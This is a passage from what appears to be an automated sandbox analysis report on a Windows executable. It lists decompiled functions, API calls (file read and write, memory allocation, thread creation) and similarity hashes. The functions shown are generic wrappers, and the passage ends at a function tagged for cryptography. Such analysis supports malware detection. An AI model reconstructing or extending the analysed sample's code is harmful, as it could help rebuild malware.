				_t14 = WriteFile( *_t16, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t14 & 0xffffff00 | _t14 != 0x00000000;
			}

0x00413f11
0x00413f14
0x00413f15
0x00413f1d
0x00413f1f
0x00413f1f
0x00413f22
0x00413f34
0x00413f42
0x00413f48

APIs

WriteFile.KERNELBASE(00000008,00000000,?,00000000,00000000,00000008,?,00413F6D,00000000,?,00000000,00000000,00000000,?,004150F6,?), ref: 00413F34

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3a43fcd7a99af802a65fe0958aaff3322480c322af35340799bb3ec2915328cf
Instruction ID: fd1ae6b77783b795d97a4e81ca98d7cd0469b694618befc36694788b860b91b1
Opcode Fuzzy Hash: 3a43fcd7a99af802a65fe0958aaff3322480c322af35340799bb3ec2915328cf
Instruction Fuzzy Hash: 2FE03275A00208FBCB00CF90C800BCE7BB9AB08314F10C028F8048A260C3799A50DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00413FD8, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413FD8(signed int* __ecx, void* __eflags, WCHAR* _a4, long _a8, long _a12, long _a16, long _a20) {
				void* _t8;
				signed int _t9;
				signed int* _t13;

				_t13 = __ecx;
				_t8 = E00413DDA(__ecx);
				if(_t8 != 0) {
					_t9 = CreateFileW(_a4, _a8, _a12, 0, _a16, _a20, 0); // executed
					 *_t13 = _t9;
					return _t9 & 0xffffff00 | _t9 != 0xffffffff;
				}
				return _t8;
			}

0x00413fdc
0x00413fde
0x00413fe5
0x00413ffa
0x00414005
0x00000000
0x00414007
0x0041400c

APIs

Part of subcall function 00413DDA: CloseHandle.KERNEL32(004227B8,00000014,00413FE3,00000000,?,00414029,004227B8,80000000,00000000,00000000,00000000,0041404C,00000000,004227B8,00000003,00000080), ref: 00413DE5

CreateFileW.KERNELBASE(004227B8,0040995F,00000000,00000000,004227B8,0041405A,00000000,00000000,?,00414029,004227B8,80000000,00000000,00000000,00000000,0041404C), ref: 00413FFA

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 5ea8ab8a2c0165d1c32804d1041ac21f8da3c3234316c2d1c2c91c72e9c780df
Instruction ID: 25576dffacfddd49299a2c5938d5f916c6c0a3737d2a1d54cb842f78843bf2a4
Opcode Fuzzy Hash: 5ea8ab8a2c0165d1c32804d1041ac21f8da3c3234316c2d1c2c91c72e9c780df
Instruction Fuzzy Hash: 47E08632100219BBCF211FA49C02BCA3F56AF18360F108116FB11561E0C772D4B0AB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040709F, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040709F(intOrPtr* __ecx, void* __edx, char _a4) {

				__imp___beginthreadex(0, 0, __edx, _a4, 0,  &_a4); // executed
				 *__ecx = 0;
				return E0040705A(0);
			}

0x004070b2
0x004070bd
0x004070c6

APIs

_beginthreadex.MSVCRT ref: 004070B2

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 0001c2751ec5b38c2fdd8770f8b250f083c030f0baebac9fc5d5da33beea9271
Instruction ID: f66fee764f537c73dd3179b80b905b367c327d96f84bf69b71a8138a202bd0f1
Opcode Fuzzy Hash: 0001c2751ec5b38c2fdd8770f8b250f083c030f0baebac9fc5d5da33beea9271
Instruction Fuzzy Hash: B3D05EF29002087FDB00AFA4DC05CBB7A9CDA45250700853AFD48C7201E5759D5087E5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7F3, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0041B7F3(intOrPtr __ecx) {
				void* _t9;
				void* _t14;
				void* _t19;
				intOrPtr _t21;

				L0041C1F0();
				_push(__ecx);
				_push(__ecx);
				 *((intOrPtr*)(_t19 - 0x10)) = _t21;
				 *((intOrPtr*)(_t19 - 0x14)) = __ecx;
				 *(_t19 - 4) =  *(_t19 - 4) & 0x00000000;
				_t9 = E0041B4D3(__ecx, _t14, 0); // executed
				 *(_t19 - 4) =  *(_t19 - 4) | 0xffffffff;
				 *[fs:0x0] =  *((intOrPtr*)(_t19 - 0xc));
				return _t9;
			}

0x0041b7f8
0x0041b7fd
0x0041b7fe
0x0041b802
0x0041b805
0x0041b808
0x0041b80e
0x0041b813
0x0041b81a
0x0041b825

APIs

_EH_prolog.MSVCRT ref: 0041B7F8

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d1727efda0c4b3b7849c279a65210e5fbc1f0a71b716a477c678de3a4255fa1b
Instruction ID: 20a8a3e65162e8bcb76f9d772fe387cab7fb7559672222b94c1ca754f3465e33
Opcode Fuzzy Hash: d1727efda0c4b3b7849c279a65210e5fbc1f0a71b716a477c678de3a4255fa1b
Instruction Fuzzy Hash: 46E08671A40204BAD714DB89CC477DEB778EB40765F10422FB01161180D3781A008665

Uniqueness

Uniqueness Score: -1.00%

Function 00413EA1, Relevance: 1.5, APIs: 1, Instructions: 18
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00413EA1(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				signed int _t11;

				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t11 = ReadFile( *__ecx, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t11 & 0xffffff00 | _t11 != 0x00000000;
			}

0x00413ea4
0x00413ea5
0x00413eb7
0x00413ec5
0x00413ecb

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00413EB7

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: aaa7fc0bee448c6a2f67fcdb91d4647745e8fe0572ea30e5d88b75afb862a541
Instruction ID: 9b454950ea75836eca7fe91a31d8659671653d16dcec92d246dd104a82401603
Opcode Fuzzy Hash: aaa7fc0bee448c6a2f67fcdb91d4647745e8fe0572ea30e5d88b75afb862a541
Instruction Fuzzy Hash: E2E0EC75600208FFDB01CF90CD01FDE7BBEEB49758F208058E90496160C775DA10EB54

Uniqueness

Uniqueness Score: -1.00%

Function 00405979, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00405979() {
				void* _v16;
				void* __ecx;
				void* _t7;
				void* _t11;

				E00414803( &_v16);
				E00405546( &_v16, _t11);
				_t7 = E00403442(_v16); // executed
				_push(_v16);
				L0041C160();
				return _t7;
			}

0x00405983
0x0040598b
0x00405993
0x00405998
0x0040599b
0x004059a2

APIs

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 0040599B

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@memcpy
String ID:
API String ID: 2754646359-0
Opcode ID: fa6b549369a74d040dc17a7ece95bf0259d40384a8e767ccb493eda729ae9f6c
Instruction ID: f136c1752403047c5aa641bf50be563d9da0cd5f4cd32f6045af0963c04fef26
Opcode Fuzzy Hash: fa6b549369a74d040dc17a7ece95bf0259d40384a8e767ccb493eda729ae9f6c
Instruction Fuzzy Hash: 8DD0C731D0000877CB05B7A1EC528DE77755E4070CB50827EB022360D69F745E48CA59

Uniqueness

Uniqueness Score: -1.00%

Function 00413EE4, Relevance: 1.5, APIs: 1, Instructions: 9
timeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00413EE4(void** __ecx, FILETIME* _a4, FILETIME* _a8, FILETIME* _a12) {
				signed int _t4;

				_t4 = SetFileTime( *__ecx, _a4, _a8, _a12); // executed
				asm("sbb eax, eax");
				return  ~( ~_t4);
			}

0x00413ef2
0x00413efa
0x00413efe

APIs

SetFileTime.KERNELBASE(?,?,?,?,00413F0E,00000000,00000000,?,00402644,?), ref: 00413EF2

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 3c5d57e2c48a45a692d10b1dc98720b6952046f07c608b6af34a0fcbf2fb381c
Instruction ID: e0d35bd63a854c57eee69d76631bc9c38302ce33a3f2f21c2b12c5388e97b13e
Opcode Fuzzy Hash: 3c5d57e2c48a45a692d10b1dc98720b6952046f07c608b6af34a0fcbf2fb381c
Instruction Fuzzy Hash: FBC04C36158105FFCF020FB0CC04C1ABFA2AB99315F10C918B159C4070C7368024EB02

Uniqueness

Uniqueness Score: -1.00%

Function 0041C173, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

_onexit.KERNELBASE ref: 0041C17F

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 70708c98d1dc7566571e7de0e536aad1ca2b822a7fd5c0d4cc40cf7eb4ca856a
Instruction ID: 06dc4e053ff0de979efe87a70d7ae25a0d5be0b6429467df7d2fad60ad11e5ea
Opcode Fuzzy Hash: 70708c98d1dc7566571e7de0e536aad1ca2b822a7fd5c0d4cc40cf7eb4ca856a
Instruction Fuzzy Hash: 05B01275002000FBCF022F40ED0448DBF21EB48311B20C465F05A81031C732C421BB04

Uniqueness

Uniqueness Score: -1.00%

Function 00401303, Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00401303(void* __ecx, void* __eflags) {
				intOrPtr* _t9;
				intOrPtr* _t10;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t23;
				void* _t25;

				_t25 = __ecx;
				_t9 = E0040115F(__ecx);
				if(_t9 == 0) {
					_push(0xc);
					L0041C16C();
					if(_t9 == 0) {
						_t23 = 0;
					} else {
						 *((intOrPtr*)(_t9 + 4)) = 0x41f7c4;
						 *((intOrPtr*)(_t9 + 8)) = 0;
						 *_t9 = 0x41d5f0;
						 *((intOrPtr*)(_t9 + 4)) = 0x41d5e0;
						_t23 = _t9;
					}
					_t4 = _t25 + 4; // 0x9d2650
					_t10 =  *_t4;
					 *((intOrPtr*)( *_t10 + 0x10))(_t10, 0, 0, 0, 0);
					_t6 = _t25 + 8; // 0x9d2680
					_t12 =  *_t6;
					_t7 = _t25 + 4; // 0x9d2650
					_t13 =  *((intOrPtr*)( *_t12 + 0xc))(_t12,  *_t7, 0x41ea98, _t23);
					asm("sbb al, al");
					return  ~_t13 + 1;
				} else {
					return 1;
				}
			}

0x00401304
0x00401306
0x0040130d
0x00401314
0x00401316
0x00401320
0x0040133d
0x00401322
0x00401322
0x00401329
0x0040132c
0x00401332
0x00401339
0x00401339
0x0040133f
0x0040133f
0x00401349
0x0040134c
0x0040134c
0x0040134f
0x0040135c
0x00401361
0x00401367
0x0040130f
0x00401312
0x00401312

APIs

??2@YAPAXI@Z.MSVCRT ref: 00401316

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 530541863fe87d91b3746bc2cb94423826a85f1004adc9c1c8b154fef11766d7
Instruction ID: a51787965d0bc3bdbe74b998de211b2743835052462f3d0f1d26fd9b701dad35
Opcode Fuzzy Hash: 530541863fe87d91b3746bc2cb94423826a85f1004adc9c1c8b154fef11766d7
Instruction Fuzzy Hash: 45F0C8B1500221AFD7189F65D80AD977B99EF85710315C46FF406CB3A1D7B4EC82C668

Uniqueness

Uniqueness Score: -1.00%

Function 00414EF1, Relevance: 1.3, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00414EF1(void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12, intOrPtr* _a16) {
				void* _t12;
				signed int _t13;
				signed int _t15;
				intOrPtr* _t20;
				intOrPtr _t24;

				_t24 = _a4;
				_push( &_a12);
				_t12 = E00413ECE(_t24 + 0x14, _a8, _a12); // executed
				_t20 = _a16;
				if(_t20 != 0) {
					 *_t20 = _a12;
				}
				if(_t12 != 0) {
					return 0;
				}
				_t13 = GetLastError();
				__eflags =  *(_t24 + 0x1c);
				if( *(_t24 + 0x1c) != 0) {
					return  *((intOrPtr*)( *( *(_t24 + 0x1c))))( *((intOrPtr*)(_t24 + 0x20)), _t13);
				}
				__eflags = _t13;
				if(__eflags == 0) {
					return 0x80004005;
				}
				if(__eflags > 0) {
					_t15 = _t13 & 0x0000ffff | 0x80070000;
					__eflags = _t15;
					return _t15;
				}
				return _t13;
			}

0x00414ef5
0x00414efb
0x00414f05
0x00414f0a
0x00414f0f
0x00414f14
0x00414f14
0x00414f18
0x00000000
0x00414f1a
0x00414f1e
0x00414f24
0x00414f28
0x00000000
0x00414f33
0x00414f37
0x00414f39
0x00000000
0x00414f3b
0x00414f42
0x00414f49
0x00414f49
0x00000000
0x00414f49
0x00414f50

APIs

GetLastError.KERNEL32(?,?,?), ref: 00414F1E

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: bef10e7e2a07b9f5c5ee5c354b4214a9f3a8dc7b1ff6031b8d50112c379913c8
Instruction ID: b1376db512650cee24e8a0985b829a0f1c4315c93205b2e563ae2ffb9e13b3f5
Opcode Fuzzy Hash: bef10e7e2a07b9f5c5ee5c354b4214a9f3a8dc7b1ff6031b8d50112c379913c8
Instruction Fuzzy Hash: 68F0697120021AABCB20CF10CC00AE777A9BF80324F14456AB806CB360D739E897DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004145F1, Relevance: 1.3, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004145F1(signed int* __ecx, void* __eflags, signed int _a4) {
				signed int _t12;
				signed int _t19;
				signed int _t21;

				_t21 = _a4;
				 *__ecx =  *__ecx & 0x00000000;
				_t19 = 2;
				_t12 = (_t21 + 1) * _t19;
				_push( ~(0 | __eflags > 0x00000000) | _t12); // executed
				L0041C16C(); // executed
				__ecx[1] = _t21;
				__ecx[2] = _t21;
				 *__ecx = _t12;
				return _t12;
			}

0x004145f3
0x004145f9
0x00414600
0x00414604
0x0041460d
0x0041460e
0x00414614
0x00414617
0x0041461b
0x0041461e

APIs

??2@YAPAXI@Z.MSVCRT ref: 0041460E

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: b60de331195480ee16010183974e33a4c9ed5d3fc8d927df9664fc67f0053f17
Instruction ID: d4bf1e77843ac4ffc9d6de96a583b5b6222411ff98e089cd5882ee9a91c2c0ea
Opcode Fuzzy Hash: b60de331195480ee16010183974e33a4c9ed5d3fc8d927df9664fc67f0053f17
Instruction Fuzzy Hash: A8E012735452116FD3288F2ED507A97F7E8EFD0720F14C92FE59AC72A0DAB4A8818A54

Uniqueness

Uniqueness Score: -1.00%

Function 0040287B, Relevance: 1.3, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040287B(void* __eax, void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t3;
				void* _t9;
				void* _t10;

				_t9 = __edx;
				_push(0x18);
				_t10 = __ecx; // executed
				L0041C16C(); // executed
				if(__eax == 0) {
					_t3 = 0;
				} else {
					_t3 = E00402544(__eax, _a4);
				}
				return E0041B205(_t10, _t9, _t3);
			}

0x0040287b
0x0040287c
0x0040287e
0x00402880
0x00402888
0x00402897
0x0040288a
0x00402890
0x00402890
0x004028a2

APIs

??2@YAPAXI@Z.MSVCRT ref: 00402880

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: b306a9075f87c046829b446e6b913b62a4123f536a9e901663e4365a709dde56
Instruction ID: ab72d40478e811afedcfbbedf7c0c76e7f17da6d593c58ae3af9d4d4ec47094f
Opcode Fuzzy Hash: b306a9075f87c046829b446e6b913b62a4123f536a9e901663e4365a709dde56
Instruction Fuzzy Hash: ADD0227634073121CA5831325D29ABF49844F81724B05883FB405E62D1CEBDCC82829D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE40, Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BE40(long __ecx) {
				void* _t1;

				if(__ecx != 0) {
					_t1 = VirtualAlloc(0, __ecx, 0x1000, 4); // executed
					return _t1;
				} else {
					return 0;
				}
			}

0x0041be42
0x0041be51
0x0041be57
0x0041be44
0x0041be46
0x0041be46

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004152E1), ref: 0041BE51

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 22032155c9183e28adb1f52440ec07b95b4e3d2f57ec60f8ae89b3c08762bae8
Instruction ID: acb135da47796bf22734778030a0ffbf7a4206f64c6a4a795cd6af5e279b245b
Opcode Fuzzy Hash: 22032155c9183e28adb1f52440ec07b95b4e3d2f57ec60f8ae89b3c08762bae8
Instruction Fuzzy Hash: EBB012F07D134035FF684320CC0BFE72410A344B4BF104068B301E90C4E7D05440505C

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE10, Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BE10(int __ecx) {
				void* _t1;

				if(__ecx != 0) {
					_t1 = malloc(__ecx); // executed
					return _t1;
				} else {
					return 0;
				}
			}

0x0041be12
0x0041be18
0x0041be21
0x0041be14
0x0041be16
0x0041be16

APIs

malloc.MSVCRT ref: 0041BE18

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 66cf8d5545a740dad15543452bf8420ea65b41da3c9faaad57c398a04622ebbf
Instruction ID: a99900dced4b3d94408e193d7e854b8781f3078c90807f01ec2a5ee1b4dfafb1
Opcode Fuzzy Hash: 66cf8d5545a740dad15543452bf8420ea65b41da3c9faaad57c398a04622ebbf
Instruction Fuzzy Hash: B2B012F051110102DE1C07347C040D732506650607BC048B8B402C0210F729C425504D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE80, Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BE80(int __edx) {
				void* _t1;

				if(__edx != 0) {
					_t1 = malloc(__edx); // executed
					return _t1;
				} else {
					return 0;
				}
			}

0x0041be82
0x0041be88
0x0041be91
0x0041be84
0x0041be86
0x0041be86

APIs

malloc.MSVCRT ref: 0041BE88

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: ca24d3bf4cc2db8d3e160cb20dd14b889eabe10d449740db5881849cc31842ca
Instruction ID: 9d0265dfb37a9864b687b7e6398dff5a3f2c0bb0c41e27f4d46130ed5ce6b560
Opcode Fuzzy Hash: ca24d3bf4cc2db8d3e160cb20dd14b889eabe10d449740db5881849cc31842ca
Instruction Fuzzy Hash: A2B012E8D4010102DA0407347C040D33272B7E06067C4C8B4B40180114FB38C024A04D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE60, Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BE60(void* __ecx) {
				void* _t1;
				int _t2;

				if(__ecx != 0) {
					_t2 = VirtualFree(__ecx, 0, 0x8000); // executed
					return _t2;
				}
				return _t1;
			}

0x0041be62
0x0041be6c
0x00000000
0x0041be6c
0x0041be72

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,004152DA), ref: 0041BE6C

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: e232632fe293ff23287d9c76e63ac30f1885b462abd3b624660c24e6dc4983ca
Instruction ID: 5a0e45df0b9e3ce07833d2d307a6ca80aa43b70fd88c11b2272045b6d040e14e
Opcode Fuzzy Hash: e232632fe293ff23287d9c76e63ac30f1885b462abd3b624660c24e6dc4983ca
Instruction Fuzzy Hash: CDB012B074130062ED3803210D05BD727005701701F1080183B01640C08798E404854C

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE30, Relevance: 1.3, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

free.MSVCRT(?,00411320), ref: 0041BE31

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5bb76444f12f6ac46b839af03aa649dedf6af210799dfe73033db5ebb4548707
Instruction ID: 87b19333b2ef4116d6254c4bc8fef081bf6be047992dbd34729973d037981491
Opcode Fuzzy Hash: 5bb76444f12f6ac46b839af03aa649dedf6af210799dfe73033db5ebb4548707
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0041BEA1, Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0041BEA1

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fe7d6081d7d7cee6f39f354d3d23d24cdc014e2121fbf16be8563e7553237ba4
Instruction ID: 4f63a7a6c6c64434434c40c10d9112b548cdf13d56a46577236c02296c3fb01f
Opcode Fuzzy Hash: fe7d6081d7d7cee6f39f354d3d23d24cdc014e2121fbf16be8563e7553237ba4
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00405729, Relevance: 40.4, APIs: 3, Strings: 20, Instructions: 185
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00405729(void* __ecx) {
				signed int _v8;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t14;
				WCHAR* _t15;
				signed short* _t16;
				signed int _t18;
				void* _t24;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				signed int _t31;
				signed int _t35;
				intOrPtr _t41;
				intOrPtr _t45;
				void* _t68;
				void* _t73;
				void* _t76;
				intOrPtr _t98;
				void* _t99;
				intOrPtr* _t104;

				_push(__ecx);
				_t98 = E00404F59();
				if(_t98 != 0) {
					E00414864(0x42285c, _t98);
					_t73 = 4;
					E00414922(0x42285c, E00403CE0(_t73));
